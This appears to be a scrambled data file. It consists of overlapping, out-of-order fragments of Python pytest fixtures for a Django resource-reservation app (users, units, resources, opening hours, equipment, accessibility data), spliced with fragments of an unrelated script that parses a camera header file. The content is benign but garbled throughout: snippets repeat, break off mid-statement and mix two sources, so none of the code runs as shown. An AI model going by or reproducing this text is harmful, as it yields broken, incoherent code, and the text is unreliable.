name_fi='testikäyttöehdot', name_en='test", "both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing,", "import pytest import datetime from django.contrib.auth import get_user_model from django.contrib.auth.models", "period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date", "pytest import datetime from django.contrib.auth import get_user_model from django.contrib.auth.models import", "from rest_framework.test import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from", "@pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def", "reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_with_opening_hours(resource_in_unit): p1 = Period.objects.create(start=datetime.date(2115, 1,", "@pytest.fixture def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12',", "accessible, not wheelchair accessible, unit is accessible to both \"\"\"", "value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair,", "return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\",", "accessibility_value_red): \"\"\" Resource is wheelchair accessible, not hearing accessible, unit", "equipment alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit,", "EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import AccessibilityValue, AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility", "get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def staff_user():", "+ datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date = date +", "user @pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager',", "of use', text_fi='kaikki on kielletty', text_en='everything is forbidden', ) @pytest.mark.django_db", "= Municipality.objects.create( id='foo', name='Foo' ) return municipality @pytest.fixture def accessibility_viewpoint_wheelchair():", "'staff_user']) def all_user_types_api_client(request): api_client = APIClient() if request.param: api_client.force_authenticate(request.getfixturevalue(request.param)) return", "return user @pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie',", "resource group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2): group", "space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return", "viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit,", ") return resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create( username='test_user',", "return equipment_alias @pytest.mark.django_db @pytest.fixture def resource_equipment(resource_in_unit, equipment): data = {'test_key':", "return Purpose.objects.create(name='test purpose', id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create(", "authentication=\"none\", name=\"resource in unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, )", "\"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green", "= APIClient() api_client.force_authenticate(user=user) return api_client @pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request):", "2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture", "equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias =", "-*- coding: utf-8 -*- import pytest import datetime from django.contrib.auth", "weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create(", "Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date = period.start", "def equipment_category(): return EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db @pytest.fixture", "group @pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test resource", "TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki on kielletty', text_en='everything", "value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_hearing,", "name='Test resource group 2' ) group.resources.set([resource_in_unit2]) return group @pytest.fixture def", ") @pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture", "description='test resource equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture def user():", "closed=True) date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00')", "weekday in range(0, 7): Day.objects.create(period=p1, weekday=weekday, opens=datetime.time(8, 0), closes=datetime.time(18, 0))", "AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\"", "import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models import", "first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create(", "def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki", "closes=datetime.time(18, 0)) resource_in_unit.update_opening_hours() return resource_in_unit @pytest.mark.django_db @pytest.fixture def exceptional_period(resource_with_opening_hours): parent", "1), end=datetime.date(2115, 12, 31), resource=resource_in_unit, name='regular hours') for weekday in", "return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture", "accessibility_viewpoint_hearing(): vp = {\"id\": \"20\", \"name_en\": \"I am hearing impaired\",", "group(): return Group.objects.create(name='test group') @pytest.mark.django_db @pytest.fixture def purpose(): return Purpose.objects.create(name='test", "date = date + datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date", "datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date = date + datetime.timedelta(days=1)", "api_client @pytest.fixture def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type():", "in unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture", "Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias", "terms of use', text_fi='kaikki on kielletty', text_en='everything is forbidden', )", "name='Foo' ) return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {\"id\":", "= {\"id\": \"20\", \"name_en\": \"I am hearing impaired\", \"order_text\": 20}", "reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type,", "last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create(", "\"name_en\": \"I am hearing impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture", "test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit\", unit=test_unit,", "test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 3\", unit=test_unit3,", "resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit\",", "max_period=datetime.timedelta(hours=2), reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this", "reservable=True, generic_terms=terms_of_use, specific_terms_fi='spesifiset käyttöehdot', specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource", "return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\"", "get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def", "get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>', is_staff=True, preferred_language='en' ) user.unit_authorizations.create(subject=resource_in_unit.unit, level=UnitAuthorizationLevel.manager)", "@pytest.mark.django_db @pytest.fixture def equipment_category(): return EquipmentCategory.objects.create( name='test equipment category' )", "def resource_in_unit(space_resource_type, test_unit, terms_of_use): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in", "def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>', is_staff=True, is_general_admin=True,", "a wheelchair user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing():", "@pytest.fixture def staff_api_client(staff_user): api_client = APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture", "resource=resource_in_unit, data=data, description='test resource equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture", "resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is accessible, unit", "@pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>',", "to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit,", "@pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' )", "@pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of use',", "return api_client @pytest.fixture def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user) return", "api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user): api_client = APIClient() api_client.force_authenticate(user=user)", "accessibility_value_green, accessibility_value_red): \"\"\" Resource is hearing accessible, not wheelchair accessible,", "Period from resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup", "email='<EMAIL>', preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def user2(): return get_user_model().objects.create( username='test_user2',", "value=accessibility_value_green ) return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green,", "name=\"resource in unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db", "return AccessibilityValue.objects.create(value='red', order=-10) @pytest.fixture def resource_with_accessibility_data(resource_in_unit, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red):", "@pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit2(): return", "return group @pytest.fixture def resource_group2(resource_in_unit2): group = ResourceGroup.objects.create( identifier='test_group_2', name='Test", "Unit, Purpose, Day, Period from resources.models import Equipment, EquipmentAlias, ResourceEquipment,", "authentication=\"none\", name=\"resource in unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, )", "def resource_equipment(resource_in_unit, equipment): data = {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create(", "unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3):", "return equipment @pytest.mark.django_db @pytest.fixture def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment", "def user(): return get_user_model().objects.create( username='test_user', first_name='Cem', last_name='Kaner', email='<EMAIL>', preferred_language='en' )", "return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green', order=10) @pytest.fixture def", "def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db", "Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit\", unit=test_unit, max_reservations_per_user=1, max_period=datetime.timedelta(hours=2), reservable=True,", "\"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_viewpoint_hearing(): vp = {\"id\":", "equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return equipment @pytest.mark.django_db @pytest.fixture", "unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair,", "return Unit.objects.create(name=\"unit 3\", time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot',", "accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is hearing accessible, not", "UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green )", "EquipmentCategory.objects.create( name='test equipment category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment", "Resource, ResourceType, Unit, Purpose, Day, Period from resources.models import Equipment,", "of use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type,", "id='test-purpose') @pytest.fixture def resource_group(resource_in_unit): group = ResourceGroup.objects.create( identifier='test_group', name='Test resource", ") return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red):", "is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create(", "Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki')", ") @pytest.mark.django_db @pytest.fixture def resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\",", "value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing,", "+ datetime.timedelta(days=1) Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture def", "Day.objects.create(period=period, weekday=date.weekday(), closed=True) return period @pytest.mark.django_db @pytest.fixture def equipment_category(): return", "APIClient() api_client.force_authenticate(user=staff_user) return api_client @pytest.fixture def user_api_client(user): api_client = APIClient()", "value=accessibility_value_green ) ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit3.unit, viewpoint=accessibility_viewpoint_wheelchair,", ") ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_red ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green", "AccessibilityViewpoint, ResourceAccessibility, UnitAccessibility from munigeo.models import Municipality @pytest.fixture def api_client():", "resource=resource_in_unit2, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create(", "last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit): user", "is accessible, unit is not \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit3, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green", "unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green", "def exceptional_period(resource_with_opening_hours): parent = resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours,", "Municipality.objects.create( id='foo', name='Foo' ) return municipality @pytest.fixture def accessibility_viewpoint_wheelchair(): vp", "resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource", "@pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green, accessibility_value_red): \"\"\" Resource is", "return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0]", "am a wheelchair user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def", "= period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date + datetime.timedelta(days=1)", "EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return equipment_alias @pytest.mark.django_db @pytest.fixture def", "name='Test resource group' ) group.resources.set([resource_in_unit]) return group @pytest.fixture def resource_group2(resource_in_unit2):", "in unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True, ) @pytest.mark.django_db @pytest.fixture", "time_zone='Europe/Helsinki') @pytest.fixture def terms_of_use(): return TermsOfUse.objects.create( name_fi='testikäyttöehdot', name_en='test terms of", "unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return", "def equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return", "type=space_resource_type, authentication=\"none\", name=\"resource in unit 2\", unit=test_unit2, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4), reservable=True,", "is_staff=True, is_general_admin=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def group(): return Group.objects.create(name='test", "impaired\", \"order_text\": 20} return AccessibilityViewpoint.objects.create(**vp) @pytest.fixture def accessibility_value_green(): return AccessibilityValue.objects.create(value='green',", "unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return", "specific_terms_en='specific terms of use', reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture", "@pytest.fixture def unit_manager_user(resource_in_unit): user = get_user_model().objects.create( username='test_manager_user', first_name='Inspector', last_name='Lestrade', email='<EMAIL>',", "resource_in_unit3(space_resource_type, test_unit3): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 3\",", "@pytest.mark.django_db @pytest.fixture def general_admin(): return get_user_model().objects.create( username='test_general_admin', first_name='Genie', last_name='Manager', email='<EMAIL>',", "@pytest.fixture(params=[None, 'user', 'staff_user']) def all_user_types_api_client(request): api_client = APIClient() if request.param:", "APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db", "name='test equipment category' ) @pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment =", "user2(): return get_user_model().objects.create( username='test_user2', first_name='Brendan', last_name='Neutra', email='<EMAIL>' ) @pytest.mark.django_db @pytest.fixture", "Day.objects.create(period=period, weekday=date.weekday(), opens='12:00', closes='13:00') date = date + datetime.timedelta(days=1) Day.objects.create(period=period,", "reservation_confirmed_notification_extra_en='this resource rocks' ) @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return", "@pytest.fixture def accessibility_viewpoint_wheelchair(): vp = {\"id\": \"10\", \"name_en\": \"I am", "Purpose, Day, Period from resources.models import Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory,", "resource_with_opening_hours.periods.first() period = Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent)", "name=\"resource\") @pytest.mark.django_db @pytest.fixture def test_unit(): return Unit.objects.create(name=\"unit\", time_zone='Europe/Helsinki') @pytest.fixture def", "name_fi='testikäyttöehdot', name_en='test terms of use', text_fi='kaikki on kielletty', text_en='everything is", "\"\"\" Resource is hearing accessible, not wheelchair accessible, unit is", "first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' ) @pytest.mark.django_db @pytest.fixture def unit_manager_user(resource_in_unit):", "@pytest.fixture def accessibility_viewpoint_hearing(): vp = {\"id\": \"20\", \"name_en\": \"I am", "from munigeo.models import Municipality @pytest.fixture def api_client(): return APIClient() @pytest.fixture", "staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff', email='<EMAIL>', is_staff=True, preferred_language='en' )", "main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type, authentication=\"none\", name=\"resource\") @pytest.mark.django_db", "date = period.start Day.objects.create(period=period, weekday=date.weekday(), closed=True) date = date +", "= {'test_key': 'test_value'} resource_equipment = ResourceEquipment.objects.create( equipment=equipment, resource=resource_in_unit, data=data, description='test", "ResourceGroup.objects.create( identifier='test_group_2', name='Test resource group 2' ) group.resources.set([resource_in_unit2]) return group", "Equipment, EquipmentAlias, ResourceEquipment, EquipmentCategory, TermsOfUse, ResourceGroup from resources.models import AccessibilityValue,", ") @pytest.mark.django_db @pytest.fixture def staff_user(): return get_user_model().objects.create( username='test_staff_user', first_name='John', last_name='Staff',", ") group.resources.set([resource_in_unit2]) return group @pytest.fixture def test_municipality(): municipality = Municipality.objects.create(", "ResourceType, Unit, Purpose, Day, Period from resources.models import Equipment, EquipmentAlias,", "value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture def resource_with_accessibility_data3(resource_in_unit3, accessibility_viewpoint_wheelchair, accessibility_viewpoint_hearing, accessibility_value_green,", "test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 2\", unit=test_unit2,", "equipment', ) return resource_equipment @pytest.mark.django_db @pytest.fixture def user(): return get_user_model().objects.create(", "= Period.objects.create(start='2115-01-10', end='2115-01-12', resource=resource_with_opening_hours, name='exceptional hours', exceptional=True, parent=parent) date =", "@pytest.mark.django_db @pytest.fixture def equipment(equipment_category): equipment = Equipment.objects.create(name='test equipment', category=equipment_category) return", "api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\",", "unit=resource_in_unit.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit @pytest.fixture def resource_with_accessibility_data2(resource_in_unit2, accessibility_viewpoint_wheelchair,", "def test_unit2(): return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return", "value=accessibility_value_green ) UnitAccessibility.objects.create( unit=resource_in_unit2.unit, viewpoint=accessibility_viewpoint_hearing, value=accessibility_value_green ) return resource_in_unit2 @pytest.fixture", "return ResourceType.objects.get_or_create(id=\"test_space\", name=\"test_space\", main_type=\"space\")[0] @pytest.mark.django_db @pytest.fixture def space_resource(space_resource_type): return Resource.objects.create(type=space_resource_type,", "return Unit.objects.create(name=\"unit 2\", time_zone='Europe/Helsinki') @pytest.fixture def test_unit3(): return Unit.objects.create(name=\"unit 3\",", "\"name_en\": \"I am a wheelchair user\", \"order_text\": 10} return AccessibilityViewpoint.objects.create(**vp)", "APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models import Resource,", "unit is accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red", ") @pytest.mark.django_db @pytest.fixture def resource_in_unit2(space_resource_type, test_unit2): return Resource.objects.create( type=space_resource_type, authentication=\"none\",", "not hearing accessible, unit is accessible to both \"\"\" ResourceAccessibility.objects.create(", "Resource.objects.create( type=space_resource_type, authentication=\"none\", name=\"resource in unit 3\", unit=test_unit3, max_reservations_per_user=2, max_period=datetime.timedelta(hours=4),", "accessible to both \"\"\" ResourceAccessibility.objects.create( resource=resource_in_unit2, viewpoint=accessibility_viewpoint_wheelchair, value=accessibility_value_red ) ResourceAccessibility.objects.create(", "equipment_alias(equipment): equipment_alias = EquipmentAlias.objects.create(name='test equipment alias', language='fi', equipment=equipment) return equipment_alias", "def api_rf(): return APIRequestFactory() @pytest.mark.django_db @pytest.fixture def space_resource_type(): return ResourceType.objects.get_or_create(id=\"test_space\"," ]
[ "data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end] metadata", "foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\") with open('list.txt', 'w') as", "pMetadata);\") with open('list.txt', 'w') as f: for item in metalist:", "end = data.find('} metadata_data_t;') data = data[start:end] metadata = data.split(\"\\n\")", "#!/bin/python3 with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read() f.closed", "data = f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end =", "f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;')", "= data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end]", "= data.split(\"\\n\") metalist = list() for line in metadata: if", "metalist = list() for line in metadata: if (line.startswith(' INCLUDE')):", "if (line.startswith(' INCLUDE')): foo = line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT')", "metadata_data_t;') data = data[start:end] metadata = data.split(\"\\n\") metalist = list()", "= data.find('} metadata_data_t;') data = data[start:end] metadata = data.split(\"\\n\") metalist", "metadata: if (line.startswith(' INCLUDE')): foo = line.split(',') foo[0] = foo[0].replace('INCLUDE',", "data.find('} metadata_data_t;') data = data[start:end] metadata = data.split(\"\\n\") metalist =", "open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read() f.closed start =", "line in metadata: if (line.startswith(' INCLUDE')): foo = line.split(',') foo[0]", "metalist.append(foo[0] + \", pMetadata);\") with open('list.txt', 'w') as f: for", "INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end] metadata =", "metadata = data.split(\"\\n\") metalist = list() for line in metadata:", "= list() for line in metadata: if (line.startswith(' INCLUDE')): foo", "= foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\") with open('list.txt', 'w')", "'r') as f: data = f.read() f.closed start = data.find('", "data = data[start:end] metadata = data.split(\"\\n\") metalist = list() for", "INCLUDE')): foo = line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] +", "f: data = f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end", "open('list.txt', 'w') as f: for item in metalist: f.write(\"%s\\n\" %", "start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data =", "as f: for item in metalist: f.write(\"%s\\n\" % item) f.closed", "for line in metadata: if (line.startswith(' INCLUDE')): foo = line.split(',')", "data[start:end] metadata = data.split(\"\\n\") metalist = list() for line in", "foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\") with open('list.txt',", "= line.split(',') foo[0] = foo[0].replace('INCLUDE', 'PRINT') metalist.append(foo[0] + \", pMetadata);\")", "f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data", "'w') as f: for item in metalist: f.write(\"%s\\n\" % item)", "+ \", pMetadata);\") with open('list.txt', 'w') as f: for 